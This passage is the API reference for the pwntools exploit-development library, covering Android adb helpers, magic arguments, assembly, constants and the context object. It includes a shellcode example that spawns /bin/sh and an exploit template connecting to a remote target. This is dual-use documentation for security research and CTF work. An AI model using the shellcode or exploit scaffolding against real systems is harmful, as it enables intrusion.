`pwnlib.adb.adb.exists (*a, **kw)`
Return `True` if `path` exists on the target device.

Examples

```
>>> adb.exists('/')
True
>>> adb.exists('/init')
True
>>> adb.exists('/does/not/exist')
False
```

`pwnlib.adb.adb.fastboot (*a, **kw)`
Executes a fastboot command.

Returns The command output.

`pwnlib.adb.adb.find_ndk_project_root (source)`
Given a directory path, find the topmost project root.
`tl;dr “foo/bar/jni/baz.cpp” ==> “foo/bar”`

`pwnlib.adb.adb.fingerprint (*a, **kw)`
Returns the device build fingerprint.

`pwnlib.adb.adb.forward (*a, **kw)`
Sets up a port to forward to the device.

`pwnlib.adb.adb.getprop (*a, **kw)`
Reads a properties from the system property store.

Parameters `name (str)` – Optional, read a single property.

Returns If `name` is not specified, a `dict` of all properties is returned. Otherwise, a string is returned with the contents of the named property.

`pwnlib.adb.adb.install (apk, *arguments)`
Install an APK onto the device.
This is a wrapper around ‘pm install’, which backs ‘adb install’.

Parameters

- **apk (str)** – Path to the APK to intall (e.g. ‘foo.apk’)
- **arguments** – Supplementary arguments to ‘pm install’, e.g. ‘-l’, ‘-g’.

`pwnlib.adb.adb.interactive (*a, **kw)`
Spawns an interactive shell.

`pwnlib.adb.adb.isdir (*a, **kw)`
Return `True` if `path` is a on the target device.

Examples

```
>>> adb.isdir('/')
True
>>> adb.isdir('/init')
False
>>> adb.isdir('/does/not/exist')
False
```

`pwnlib.adb.adb.listdir(*a, **kw)`

Returns a list containing the entries in the provided directory.

Note: This uses the SYNC LIST functionality, which runs in the `adb` SELinux context. If `adb` is running in the `su` domain (`'adb root'`), this behaves as expected.

Otherwise, less files may be returned due to restrictive SELinux policies on `adb`.

`pwnlib.adb.adb.logcat(*a, **kw)`

Reads the system log file.

By default, causes `logcat` to exit after reading the file.

Parameters `stream` (*bool*) – If `True`, the contents are streamed rather than read in a one-shot manner. Default is `False`.

Returns If `stream` is `False`, returns a string containing the log data. Otherwise, it returns a `pwnlib.tubes.tube.tube` connected to the log output.

`pwnlib.adb.adb.makedirs(*a, **kw)`

Create a directory and all parent directories on the target device.

Note: Silently succeeds if the directory already exists.

Examples

```
>>> adb.makedirs('/data/local/tmp/this/is/a/directory/heirarchy')
>>> adb.listdir('/data/local/tmp/this/is/a/directory')
['heirarchy']
```

`pwnlib.adb.adb.mkdir(*a, **kw)`

Create a directory on the target device.

Note: Silently succeeds if the directory already exists.

Parameters `path` (*str*) – Directory to create.

Examples

```
>>> adb.mkdir('/')
```

```
>>> path = '/data/local/tmp/mkdir_test'
>>> adb.exists(path)
False
>>> adb.mkdir(path)
>>> adb.exists(path)
True
```

```
>>> adb.mkdir('/init')
Traceback (most recent call last):
...
PwnlibException: mkdir failed for /init, File exists
```

`pwnlib.adb.adb.packages(*a, **kw)`
Returns a list of packages installed on the system

`pwnlib.adb.adb.pidof(*a, **kw)`
Returns a list of PIDs for the named process.

`pwnlib.adb.adb.proc_exe(*a, **kw)`
Returns the full path of the executable for the provided PID.

`pwnlib.adb.adb.process(*a, **kw)`
Execute a process on the device.

See `pwnlib.tubes.process.process` documentation for more info.

Returns A `pwnlib.tubes.process.process` tube.

Examples

```
>>> adb.root()
>>> print(adb.process(['cat', '/proc/version']).recvall().decode('utf-8')) #_
↪doctest: +ELLIPSIS
Linux version ...
```

`pwnlib.adb.adb.product(*a, **kw)`
Returns the device product identifier.

`pwnlib.adb.adb.pull(*a, **kw)`
Download a file from the device.

Parameters

- **remote_path** (*str*) – Path or directory of the file on the device.
- **local_path** (*str*) – Path to save the file to. Uses the file's name by default.

Returns The contents of the file.

Example

```
>>> _=adb.pull('/proc/version', './proc-version')
>>> print(read('./proc-version').decode('utf-8')) # doctest: +ELLIPSIS
Linux version ...
```

`pwnlib.adb.adb.push(*a, **kw)`
Upload a file to the device.

Parameters

- **local_path** (*str*) – Path to the local file to push.
- **remote_path** (*str*) – Path or directory to store the file on the device.

Returns Remote path of the file.

Example

```
>>> write('./filename', 'contents')
>>> adb.push('./filename', '/data/local/tmp')
'/data/local/tmp/filename'
>>> adb.read('/data/local/tmp/filename')
b'contents'
>>> adb.push('./filename', '/does/not/exist')
Traceback (most recent call last):
...
PwnlibException: Could not stat '/does/not/exist'
```

`pwnlib.adb.adb.read(*a, **kw)`

Download a file from the device, and extract its contents.

Parameters

- **path** (*str*) – Path to the file on the device.
- **target** (*str*) – Optional, location to store the file. Uses a temporary file by default.
- **callback** (*callable*) – See the documentation for `adb.protocol.AdbClient.read`.

Examples

```
>>> print(adb.read('/proc/version').decode('utf-8')) # doctest: +ELLIPSIS
Linux version ...
>>> adb.read('/does/not/exist')
Traceback (most recent call last):
...
PwnlibException: Could not stat '/does/not/exist'
```

`pwnlib.adb.adb.reboot(*a, **kw)`

Reboots the device.

`pwnlib.adb.adb.reboot_bootloader(*a, **kw)`

Reboots the device to the bootloader.

`pwnlib.adb.adb.remount(*a, **kw)`

Remounts the filesystem as writable.

`pwnlib.adb.adb.root(*a, **kw)`

Restarts adbd as root.

```
>>> adb.root()
```

`pwnlib.adb.adb.setprop(*a, **kw)`

Writes a property to the system property store.

`pwnlib.adb.adb.shell(*a, **kw)`

Returns an interactive shell.

`pwnlib.adb.adb.uninstall(package, *arguments)`

Uninstall an APK from the device.

This is a wrapper around ‘pm uninstall’, which backs ‘adb uninstall’.

Parameters

- **package** (*str*) – Name of the package to uninstall (e.g. ‘com.foo.MyPackage’)
- **arguments** – Supplementary arguments to ‘pm install’, e.g. ‘-k’.

`pwnlib.adb.adb.unlink(*a, **kw)`

Unlinks a file or directory on the target device.

Examples

```
>>> adb.unlink("/does/not/exist")
Traceback (most recent call last):
...
PwnlibException: Could not unlink '/does/not/exist': Does not exist
```

```
>>> filename = '/data/local/tmp/unlink-test'
>>> adb.write(filename, 'hello')
>>> adb.exists(filename)
True
>>> adb.unlink(filename)
>>> adb.exists(filename)
False
```

```
>>> adb.mkdir(filename)
>>> adb.write(filename + '/contents', 'hello')
>>> adb.unlink(filename)
Traceback (most recent call last):
...
PwnlibException: Cannot delete non-empty directory '/data/local/tmp/unlink-test'
↳ without recursive=True
```

```
>>> adb.unlink(filename, recursive=True)
>>> adb.exists(filename)
False
```

`pwnlib.adb.adb.unlock_bootloader(*a, **kw)`

Unlocks the bootloader of the device.

Note: This requires physical interaction with the device.

`pwnlib.adb.adb.unroot(*a, **kw)`

Restarts adbd as AID_SHELL.

`pwnlib.adb.adb.uptime()` → float

Returns Uptime of the device, in seconds

`pwnlib.adb.adb.wait_for_device(*a, **kw)`

Waits for a device to be connected.

By default, waits for the currently-selected device (via `context.device`). To wait for a specific device, set `context.device`. To wait for *any* device, clear `context.device`.

Returns An `AdbDevice` instance for the device.

Examples

```
>>> device = adb.wait_for_device()
```

`pwnlib.adb.adb.which(*a, **kw)`

Retrieves the full path to a binary in `$PATH` on the device

Parameters

- **name** (*str*) – Binary name
- **all** (*bool*) – Whether to return all paths, or just the first
- ***a** – Additional arguments for `adb.process()`
- ****kw** – Additional arguments for `adb.process()`

Returns Either a path, or list of paths

Example

```
>>> adb.which('sh')
'/system/bin/sh'
>>> adb.which('sh', all=True)
['/system/bin/sh']
```

```
>>> adb.which('foobar') is None
True
>>> adb.which('foobar', all=True)
[]
```

`pwnlib.adb.adb.write(*a, **kw)`

Create a file on the device with the provided contents.

Parameters

- **path** (*str*) – Path to the file on the device
- **data** (*str*) – Contents to store in the file

Examples

```
>>> adb.write('/dev/null', b'data')
>>> adb.write('/data/local/tmp/')
```

This file exists only for backward compatibility

2.2 pwnlib.args — Magic Command-Line Arguments

Pwntools exposes several magic command-line arguments and environment variables when operating in *from pwn import ** mode.

The arguments extracted from the command-line and removed from `sys.argv`.

Arguments can be set by appending them to the command-line, or setting them in the environment prefixed by `PWNLIB_`.

The easiest example is to enable more verbose debugging. Just set `DEBUG`.

```
$ PWNLIB_DEBUG=1 python exploit.py
$ python exploit.py DEBUG
```

These arguments are automatically extracted, regardless of their name, and exposed via `pwnlib.args.args`, which is exposed as the global variable `args`. Arguments which pwntools reserves internally are not exposed this way.

```
$ python -c 'from pwn import *; print(args)' A=1 B=Hello HOST=1.2.3.4 DEBUG
defaultdict(<type 'str'>, {'A': '1', 'HOST': '1.2.3.4', 'B': 'Hello'})
```

This is very useful for conditional code, for example determining whether to run an exploit locally or to connect to a remote server. Arguments which are not specified evaluate to an empty string.

```
if args['REMOTE']:
    io = remote('exploitme.com', 4141)
else:
    io = process('./pwnable')
```

Arguments can also be accessed directly with the dot operator, e.g.:

```
if args.REMOTE:
    ...
```

Any undefined arguments evaluate to an empty string, `''`.

The full list of supported “magic arguments” and their effects are listed below.

class `pwnlib.args.PwnlibArgs`

`pwnlib.args.DEBUG(x)`

Sets the logging verbosity to debug which displays much more information, including logging each byte sent by tubes.

`pwnlib.args.LOG_FILE(x)`

Sets a log file to be used via `context.log_file`, e.g. `LOG_FILE=./log.txt`

`pwnlib.args.LOG_LEVEL(x)`

Sets the logging verbosity used via `context.log_level`, e.g. `LOG_LEVEL=debug`.

`pwnlib.args.NOASLR(v)`

Disables ASLR via `context.aslr`

`pwnlib.args.NOPTRACE(v)`

Disables facilities which require `ptrace` such as `gdb.attach()` statements, via `context.noptrace`.

`pwnlib.args.NOTERM(v)`

Disables pretty terminal settings and animations.

`pwnlib.args.RANDOMIZE(v)`

Enables randomization of various pieces via `context.randomize`

`pwnlib.args.SILENT(x)`
 Sets the logging verbosity to `error` which silences most output.

`pwnlib.args.STDERR(v)`
 Sends logging to `stderr` by default, instead of `stdout`

`pwnlib.args.TIMEOUT(v)`
 Sets a timeout for tube operations (in seconds) via `context.timeout`, e.g. `TIMEOUT=30`

`pwnlib.args.asbool(s)`
 Convert a string to its boolean value

`pwnlib.args.isident(s)`
 Helper function to check whether a string is a valid identifier, as passed in on the command-line.

2.3 pwnlib.asm — Assembler functions

Utilities for assembling and disassembling code.

2.3.1 Architecture Selection

Architecture, endianness, and word size are selected by using `pwnlib.context`.

Any parameters which can be specified to `context` can also be specified as keyword arguments to either `asm()` or `disasm()`.

2.3.2 Assembly

To assemble code, simply invoke `asm()` on the code to assemble.

```
>>> asm('mov eax, 0')
b'\xb8\x00\x00\x00\x00'
```

Additionally, you can use constants as defined in the `pwnlib.constants` module.

```
>>> asm('mov eax, SYS_execve')
b'\xb8\x0b\x00\x00\x00'
```

Finally, `asm()` is used to assemble shellcode provided by pwntools in the `shellcraft` module.

```
>>> asm(shellcraft.nop())
b'\x90'
```

2.3.3 Disassembly

To disassemble code, simply invoke `disasm()` on the bytes to disassemble.

```
>>> disasm(b'\xb8\x0b\x00\x00\x00')
'  0:  b8 0b 00 00 00      mov     eax, 0xb'
```

`pwnlib.asm.asm(code, vma=0, extract=True, shared=False, ...) → str`

Runs `cxx()` over a given shellcode and then assembles it into bytes.

To see which architectures or operating systems are supported, look in `pwnlib.context`.

Assembling shellcode requires that the GNU assembler is installed for the target architecture. See [Installing Binutils](#) for more information.

Parameters

- **shellcode** (*str*) – Assembler code to assemble.
- **vma** (*int*) – Virtual memory address of the beginning of assembly
- **extract** (*bool*) – Extract the raw assembly bytes from the assembled file. If `False`, returns the path to an ELF file with the assembly embedded.
- **shared** (*bool*) – Create a shared object.
- **kwargs** (*dict*) – Any attributes on *context* can be set, e.g. `set arch='arm'`.

Examples

```
>>> asm("mov eax, SYS_select", arch = 'i386', os = 'freebsd')
b'\xb8\x00\x00\x00'
>>> asm("mov eax, SYS_select", arch = 'amd64', os = 'linux')
b'\xb8\x17\x00\x00\x00'
>>> asm("mov rax, SYS_select", arch = 'amd64', os = 'linux')
b'H\xc7\xc0\x17\x00\x00\x00'
>>> asm("mov r0, #SYS_select", arch = 'arm', os = 'linux', bits=32)
b'R\x00\xa0\xe3'
```

`pwnlib.asm.cpp(shellcode, ...)` → `str`

Runs CPP over the given shellcode.

The output will always contain exactly one newline at the end.

Parameters **shellcode** (*str*) – Shellcode to preprocess

Kwargs: Any arguments/properties that can be set on `context`

Examples

```
>>> cpp("mov al, SYS_setresuid", arch = "i386", os = "linux")
'mov al, 164\n'
>>> cpp("weee SYS_setresuid", arch = "arm", os = "linux")
'weee (0+164)\n'
>>> cpp("SYS_setresuid", arch = "thumb", os = "linux")
'(0+164)\n'
>>> cpp("SYS_setresuid", os = "freebsd")
'311\n'
```

`pwnlib.asm.disasm(data, ...)` → `str`

Disassembles a bytestring into human readable assembler.

To see which architectures are supported, look in `pwnlib.context`.

Parameters

- **data** (*str*) – Bytestring to disassemble.
- **vma** (*int*) – Passed through to the `-adjust-vma` argument of `objdump`
- **byte** (*bool*) – Include the hex-printed bytes in the disassembly

- **offset** (*bool*) – Include the virtual memory address in the disassembly

Kwargs: Any arguments/properties that can be set on `context`

Examples

```
>>> print(disasm(unhex('b85d000000'), arch = 'i386'))
0:  b8 5d 00 00 00      mov    eax, 0x5d
>>> print(disasm(unhex('b85d000000'), arch = 'i386', byte = 0))
0:  mov    eax, 0x5d
>>> print(disasm(unhex('b85d000000'), arch = 'i386', byte = 0, offset = 0))
mov    eax, 0x5d
>>> print(disasm(unhex('b817000000'), arch = 'amd64'))
0:  b8 17 00 00 00      mov    eax, 0x17
>>> print(disasm(unhex('48c7c017000000'), arch = 'amd64'))
0:  48 c7 c0 17 00 00 00  mov    rax, 0x17
>>> print(disasm(unhex('04001fe552009000'), arch = 'arm'))
0:  e51f0004      ldr    r0, [pc, #-4] ; 0x4
4:  00900052      addseq r0, r0, r2, asr r0
>>> print(disasm(unhex('4ff00500'), arch = 'thumb', bits=32))
0:  f04f 0005      mov.w  r0, #5
>>> print(disasm(unhex('656664676665400F18A4000000000051'), byte=0, arch='amd64'))
0:  gs data16 fs data16 rex nop/reserved BYTE PTR gs:[eax+eax*1+0x0]
f:  push    rcx
```

`pwnlib.asm.make_elf(data, vma=None, strip=True, extract=True, shared=False, **kwargs) → str`
Builds an ELF file with the specified binary data as its executable code.

Parameters

- **data** (*str*) – Assembled code
- **vma** (*int*) – Load address for the ELF file
- **strip** (*bool*) – Strip the resulting ELF file. Only matters if `extract=False`. (Default: True)
- **extract** (*bool*) – Extract the assembly from the ELF file. If `False`, the path of the ELF file is returned. (Default: True)
- **shared** (*bool*) – Create a Dynamic Shared Object (DSO, i.e. a `.so`) which can be loaded via `dlopen` or `LD_PRELOAD`.

Examples

This example creates an i386 ELF that just does `execve('/bin/sh',...)`.

```
>>> context.clear(arch='i386')
>>> bin_sh = unhex('6a68682f2f2f73682f62696e89e331c96a0b5899cd80')
>>> filename = make_elf(bin_sh, extract=False)
>>> p = process(filename)
>>> p.sendline(b'echo Hello; exit')
>>> p.recvline()
b'Hello\n'
```

`pwnlib.asm.make_elf_from_assembly(assembly, vma=None, extract=None, shared=False, strip=False, **kwargs) → str`
Builds an ELF file with the specified assembly as its executable code.

This differs from `make_elf()` in that all ELF symbols are preserved, such as labels and local variables. Use `make_elf()` if size matters. Additionally, the default value for `extract` in `make_elf()` is different.

Note: This is effectively a wrapper around `asm()`. with setting `extract=False`, `vma=0x10000000`, and marking the resulting file as executable (`chmod +x`).

Note: ELF files created with `arch=thumb` will prepend an ARM stub which switches to Thumb mode.

Parameters

- **assembly** (*str*) – Assembly code to build into an ELF
- **vma** (*int*) – Load address of the binary (Default: 0x10000000, or 0 if `shared=True`)
- **extract** (*bool*) – Extract the full ELF data from the file. (Default: `False`)
- **shared** (*bool*) – Create a shared library (Default: `False`)
- **kwargs** (*dict*) – Arguments to pass to `asm()`.

Returns The path to the assembled ELF (`extract=False`), or the data of the assembled ELF.

Example

This example shows how to create a shared library, and load it via `LD_PRELOAD`.

```
>>> context.clear()
>>> context.arch = 'amd64'
>>> sc = 'push rbp; mov rbp, rsp;'
>>> sc += shellcraft.echo('Hello\n')
>>> sc += 'mov rsp, rbp; pop rbp; ret'
>>> solib = make_elf_from_assembly(sc, shared=1)
>>> subprocess.check_output(['echo', 'World'], env={'LD_PRELOAD': solib},
↪universal_newlines = True)
'Hello\nWorld\n'
```

The same thing can be done with `make_elf()`, though the sizes are different. They both

```
>>> file_a = make_elf(asm('nop'), extract=True)
>>> file_b = make_elf_from_assembly('nop', extract=True)
>>> file_a[:4] == file_b[:4]
True
>>> len(file_a) < 0x200
True
>>> len(file_b) > 0x1000
True
```

2.3.4 Internal Functions

These are only included so that their tests are run.

You should never need these.

`pwnlib.asm.dpkg_search_for_binutils` (*arch, util*)

Use `dpkg` to search for any available assemblers which will work.

Returns A list of candidate package names.

```
>>> pwnlib.asm.dpkg_search_for_binutils('aarch64', 'as')
['binutils-aarch64-linux-gnu']
```

`pwnlib.asm.print_binutils_instructions(util, context)`

On failure to find a binutils utility, inform the user of a way they can get it easily.

Doctest:

```
>>> context.clear(arch = 'amd64')
>>> pwnlib.asm.print_binutils_instructions('as', context)
Traceback (most recent call last):
...
PwnlibException: Could not find 'as' installed for ContextType(arch = 'amd64',
↳bits = 64, endian = 'little')
Try installing binutils for this architecture:
$ sudo apt-get install binutils
```

2.4 pwnlib.atexception — Callbacks on unhandled exception

Analogous to `atexit`, this module allows the programmer to register functions to be run if an unhandled exception occurs.

`pwnlib.atexception.register(func, *args, **kwargs)`

Registers a function to be called when an unhandled exception occurs. The function will be called with positional arguments *args* and keyword arguments *kwargs*, i.e. `func(*args, **kwargs)`. The current *context* is recorded and will be the one used when the handler is run.

E.g. to suppress logging output from an exception-handler one could write:

```
with context.local(log_level = 'error'):
    atexception.register(handler)
```

An identifier is returned which can be used to unregister the exception-handler.

This function can be used as a decorator:

```
@atexception.register
def handler():
    ...
```

Notice however that this will bind `handler` to the identifier and not the actual exception-handler. The exception-handler can then be unregistered with:

```
atexception.unregister(handler)
```

This function is thread safe.

`pwnlib.atexception.unregister(func)`

Remove *func* from the collection of registered functions. If *func* isn't registered this is a no-op.

2.5 pwnlib.atexit — Replacement for atexit

Replacement for the Python standard library's `atexit.py`.

Whereas the standard `atexit` module only defines `atexit.register()`, this replacement module also defines `unregister()`.

This module also fixes a the issue that exceptions raised by an exit handler is printed twice when the standard `atexit` is used.

`pwnlib.atexit.register(func, *args, **kwargs)`

Registers a function to be called on program termination. The function will be called with positional arguments `args` and keyword arguments `kwargs`, i.e. `func(*args, **kwargs)`. The current `context` is recorded and will be the one used when the handler is run.

E.g. to suppress logging output from an exit-handler one could write:

```
with context.local(log_level = 'error'):
    atexit.register(handler)
```

An identifier is returned which can be used to unregister the exit-handler.

This function can be used as a decorator:

```
@atexit.register
def handler():
    ...
```

Notice however that this will bind `handler` to the identifier and not the actual exit-handler. The exit-handler can then be unregistered with:

```
atexit.unregister(handler)
```

This function is thread safe.

`pwnlib.atexit.unregister(ident)`

Remove the exit-handler identified by `ident` from the list of registered handlers. If `ident` isn't registered this is a no-op.

2.6 pwnlib.constants — Easy access to header file constants

Module containing constants extracted from header files.

The purpose of this module is to provide quick access to constants from different architectures and operating systems.

The constants are wrapped by a convenience class that allows accessing the name of the constant, while performing all normal mathematical operations on it.

Example

```
>>> str(constants.freebsd.SYS_stat)
'SYS_stat'
>>> int(constants.freebsd.SYS_stat)
188
>>> hex(constants.freebsd.SYS_stat)
'0xbc'
>>> 0 | constants.linux.i386.SYS_stat
106
>>> 0 + constants.linux.amd64.SYS_stat
4
```

The submodule `freebsd` contains all constants for FreeBSD, while the constants for Linux have been split up by architecture.

The variables of the submodules will be “lifted up” by setting the `pwnlib.context.arch` or `pwnlib.context.os` in a manner similar to what happens in `pwnlib.shellcraft`.

Example

```
>>> with context.local(os = 'freebsd'):
...     print(int(constants.SYS_stat))
188
>>> with context.local(os = 'linux', arch = 'i386'):
...     print(int(constants.SYS_stat))
106
>>> with context.local(os = 'linux', arch = 'amd64'):
...     print(int(constants.SYS_stat))
4
```

```
>>> with context.local(arch = 'i386', os = 'linux'):
...     print(constants.SYS_execve + constants.PROT_WRITE)
13
>>> with context.local(arch = 'amd64', os = 'linux'):
...     print(constants.SYS_execve + constants.PROT_WRITE)
61
>>> with context.local(arch = 'amd64', os = 'linux'):
...     print(constants.SYS_execve + constants.PROT_WRITE)
61
```

2.7 `pwnlib.config` — Pwntools Configuration File

Allows per-user and per-host configuration of Pwntools settings.

The list of configurable options includes all of the logging symbols and colors, as well as all of the default values on the global context object.

The configuration file is read from `~/.pwn.conf` and `/etc/pwn.conf`.

The configuration file is only read in from `pwn import *` mode, and not when used in library mode (`import pwnlib`). To read the configuration file in library mode, invoke `config.initialize()`.

The context section supports complex types, at least as far as is supported by `pwnlib.util.safeeval.expr`.

```
[log]
success.symbol=
error.symbol=
info.color=blue

[context]
adb_port=4141
randomize=1
timeout=60
terminal=['x-terminal-emulator', '-e']
```

2.8 pwntools.context — Setting runtime variables

Many settings in pwntools are controlled via the global variable `context`, such as the selected target operating system, architecture, and bit-width.

In general, exploits will start with something like:

```
from pwn import *
context.arch = 'amd64'
```

Which sets up everything in the exploit for exploiting a 64-bit Intel binary.

The recommended method is to use `context.binary` to automatically set all of the appropriate values.

```
from pwn import *
context.binary = './challenge-binary'
```

2.8.1 Module Members

Implements context management so that nested/scoped contexts and threaded contexts work properly and as expected.

class `pwntools.context.ContextType` (***kwargs*)

Class for specifying information about the target machine. Intended for use as a pseudo-singleton through the global variable `context`, available via `from pwn import *` as `context`.

The context is usually specified at the top of the Python file for clarity.

```
#!/usr/bin/env python
context.update(arch='i386', os='linux')
```

Currently supported properties and their defaults are listed below. The defaults are inherited from `pwntools.context.ContextType.defaults`.

Additionally, the context is thread-aware when using `pwntools.context.Thread` instead of `threading.Thread` (all internal pwntools threads use the former).

The context is also scope-aware by using the `with` keyword.

Examples

```
>>> context.clear()
>>> context.update(os='linux') # doctest: +ELLIPSIS
>>> context.os == 'linux'
True
>>> context.arch = 'arm'
>>> vars(context) == {'arch': 'arm', 'bits': 32, 'endian': 'little', 'os': 'linux'
↪}
True
>>> context.endian
'little'
>>> context.bits
32
>>> def nop():
...     print(enhex(pwntools.asm.asm('nop')))
```

(continues on next page)

(continued from previous page)

```
>>> nop()
00f020e3
>>> with context.local(arch = 'i386'):
...     nop()
90
>>> from pwnlib.context import Thread as PwnThread
>>> from threading import Thread as NormalThread
>>> with context.local(arch = 'mips'):
...     pwnthread = PwnThread(target=nop)
...     thread = NormalThread(target=nop)
>>> # Normal thread uses the default value for arch, 'i386'
>>> _=(thread.start(), thread.join())
90
>>> # Pwnthread uses the correct context from creation-time
>>> _=(pwnthread.start(), pwnthread.join())
00000000
>>> nop()
00f020e3
```

Initialize the ContextType structure.

All keyword arguments are passed to `update()`.

class Thread (*args, **kwargs)

Instantiates a context-aware thread, which inherit its context when it is instantiated. The class can be accessed both on the context module as `pwnlib.context.Thread` and on the context singleton object inside the context module as `pwnlib.context.context.Thread`.

Threads created by using the native `:class`threading`.Thread`` will have a clean (default) context.

Regardless of the mechanism used to create any thread, the context is de-coupled from the parent thread, so changes do not cascade to child or parent.

Saves a copy of the context when instantiated (at `__init__`) and updates the new thread's context before passing control to the user code via `run` or `target=`.

Examples

```
>>> context.clear()
>>> context.update(arch='arm')
>>> def p():
...     print(context.arch)
...     context.arch = 'mips'
...     print(context.arch)
>>> # Note that a normal Thread starts with a clean context
>>> # (i386 is the default architecture)
>>> t = threading.Thread(target=p)
>>> _=(t.start(), t.join())
i386
mips
>>> # Note that the main Thread's context is unchanged
>>> print(context.arch)
arm
>>> # Note that a context-aware Thread receives a copy of the context
>>> t = pwnlib.context.Thread(target=p)
>>> _=(t.start(), t.join())
```

(continues on next page)

(continued from previous page)

```
arm
mips
>>> # Again, the main thread is unchanged
>>> print(context.arch)
arm
```

Implementation Details:

This class implemented by hooking the private function `threading.Thread._Thread_bootstrap()`, which is called before passing control to `threading.Thread.run()`.

This could be done by overriding `run` itself, but we would have to ensure that all uses of the class would only ever use the keyword `target=` for `__init__`, or that all subclasses invoke `super(Subclass.self).set_up_context()` or similar.

clear (*a, **kw)

Clears the contents of the context. All values are set to their defaults.

Parameters

- **a** – Arguments passed to update
- **kw** – Arguments passed to update

Examples

```
>>> # Default value
>>> context.clear()
>>> context.arch == 'i386'
True
>>> context.arch = 'arm'
>>> context.arch == 'i386'
False
>>> context.clear()
>>> context.arch == 'i386'
True
```

copy () → dict

Returns a copy of the current context as a dictionary.

Examples

```
>>> context.clear()
>>> context.os = 'linux'
>>> vars(context) == {'os': 'linux'}
True
```

local (**kwargs) → context manager

Create a context manager for use with the `with` statement.

For more information, see the example below or PEP 343.

Parameters **kwargs** – Variables to be assigned in the new environment.

Returns ContextType manager for managing the old and new environment.

Examples

```
>>> context.clear()
>>> context.timeout = 1
>>> context.timeout == 1
True
>>> print(context.timeout)
1.0
>>> with context.local(timeout = 2):
...     print(context.timeout)
...     context.timeout = 3
...     print(context.timeout)
2.0
3.0
>>> print(context.timeout)
1.0
```

quietfunc (*function*)

Similar to *quiet*, but wraps a whole function.

reset_local ()

Deprecated. Use *clear* ().

update (*args, **kwargs)

Convenience function, which is shorthand for setting multiple variables at once.

It is a simple shorthand such that:

```
context.update(os = 'linux', arch = 'arm', ...)
```

is equivalent to:

```
context.os = 'linux'
context.arch = 'arm'
...
```

The following syntax is also valid:

```
context.update({'os': 'linux', 'arch': 'arm'})
```

Parameters **kwargs** – Variables to be assigned in the environment.

Examples

```
>>> context.clear()
>>> context.update(arch = 'i386', os = 'linux')
>>> context.arch, context.os
('i386', 'linux')
```

adb

Returns an argument array for connecting to adb.

Unless \$ADB_PATH is set, uses the default adb binary in \$PATH.

adb_host

Sets the target host which is used for ADB.

This is useful for Android exploitation.

The default value is inherited from `ANDROID_ADB_SERVER_HOST`, or set to the default 'localhost'.

adb_port

Sets the target port which is used for ADB.

This is useful for Android exploitation.

The default value is inherited from `ANDROID_ADB_SERVER_PORT`, or set to the default 5037.

arch

Target binary architecture.

Allowed values are listed in `pwnlib.context.ContextType.architectures`.

Side Effects:

If an architecture is specified which also implies additional attributes (e.g. 'amd64' implies 64-bit words, 'powerpc' implies big-endian), these attributes will be set on the context if a user has not already set a value.

The following properties may be modified.

- `bits`
- `endian`

Raises `AttributeError` – An invalid architecture was specified

Examples

```
>>> context.clear()
>>> context.arch == 'i386' # Default architecture
True
```

```
>>> context.arch = 'mips'
>>> context.arch == 'mips'
True
```

```
>>> context.arch = 'doge' #doctest: +ELLIPSIS
Traceback (most recent call last):
...
AttributeError: arch must be one of ['aarch64', ..., 'thumb']
```

```
>>> context.arch = 'ppc'
>>> context.arch == 'powerpc' # Aliased architecture
True
```

```
>>> context.clear()
>>> context.bits == 32 # Default value
True
>>> context.arch = 'amd64'
>>> context.bits == 64 # New value
True
```

Note that expressly setting `bits` means that we use that value instead of the default

```
>>> context.clear()
>>> context.bits = 32
>>> context.arch = 'amd64'
>>> context.bits == 32
True
```

Setting the architecture can override the defaults for both *endian* and *bits*

```
>>> context.clear()
>>> context.arch = 'powerpc64'
>>> vars(context) == {'arch': 'powerpc64', 'bits': 64, 'endian': 'big'}
True
```

`architectures = {'aarch64': {'bits': 64, 'endian': 'little'}, 'alpha': {'bits': 64, 'endian': 'big'}}`
 Values are defaults which are set when `pwnlib.context.ContextType.arch` is set

aslr

ASLR settings for new processes.

If False, attempt to disable ASLR in all processes which are created via `personality(setarch -R)` and `setrlimit(ulimit -s unlimited)`.

The `setarch` changes are lost if a `setuid` binary is executed.

binary

Infer target architecture, bit-width, and endianness from a binary file. Data type is a `pwnlib.elf.ELF` object.

Examples

```
>>> context.clear()
>>> context.arch, context.bits
('i386', 32)
>>> context.binary = '/bin/bash'
>>> context.arch, context.bits
('amd64', 64)
>>> context.binary
ELF('/bin/bash')
```

bits

Target machine word size, in bits (i.e. the size of general purpose registers).

The default value is 32, but changes according to *arch*.

Examples

```
>>> context.clear()
>>> context.bits == 32
True
>>> context.bits = 64
>>> context.bits == 64
True
>>> context.bits = -1 #doctest: +ELLIPSIS
Traceback (most recent call last):
...
AttributeError: bits must be > 0 (-1)
```


buffer_size

Internal buffer size to use for `pwnlib.tubes.tube.tube` objects.

This is not the maximum size of the buffer, but this is the amount of data which is passed to each raw read syscall (or equivalent).

bytes

Target machine word size, in bytes (i.e. the size of general purpose registers).

This is a convenience wrapper around `bits // 8`.

Examples

```
>>> context.bytes = 1
>>> context.bits == 8
True
```

```
>>> context.bytes = 0 #doctest: +ELLIPSIS
Traceback (most recent call last):
...
AttributeError: bits must be > 0 (0)
```

cache_dir

Directory used for caching data.

Note: May be either a path string, or None.

Example

```
>>> cache_dir = context.cache_dir
>>> cache_dir is not None
True
>>> os.chmod(cache_dir, 0o000)
>>> context.cache_dir is None
True
>>> os.chmod(cache_dir, 0o755)
>>> cache_dir == context.cache_dir
True
```

cyclic_alphabet

Cyclic alphabet.

Default value is `string.ascii_lowercase`.

cyclic_size

Cyclic pattern size.

Default value is `4`.

defaults = {'adb_host': 'localhost', 'adb_port': 5037, 'arch': 'i386', 'aslr': True}

Default values for `pwnlib.context.ContextType`

delete_corefiles

Whether pwntools automatically deletes corefiles after exiting. This only affects corefiles accessed via `process.corefile`.

Default value is `False`.

device

Sets the device being operated on.

endian

Endianness of the target machine.

The default value is `'little'`, but changes according to [arch](#).

Raises `AttributeError` – An invalid endianness was provided

Examples

```
>>> context.clear()
>>> context.endian == 'little'
True
```

```
>>> context.endian = 'big'
>>> context.endian
'big'
```

```
>>> context.endian = 'be'
>>> context.endian == 'big'
True
```

```
>>> context.endian = 'foobar' #doctest: +ELLIPSIS
Traceback (most recent call last):
...
AttributeError: endian must be one of ['be', 'big', 'eb', 'el', 'le', 'little', 'li']
```

endianness

Legacy alias for [endian](#).

Examples

```
>>> context.endian == context.endianness
True
```

endiannesses = {'be': 'big', 'big': 'big', 'eb': 'big', 'el': 'little', 'le': 'li

Valid values for [endian](#)

gdbinit

Path to the `gdbinit` that is used when running GDB locally.

This is useful if you want pwntools-launched GDB to include some additional modules, like PEDA but you do not want to have GDB include them by default.

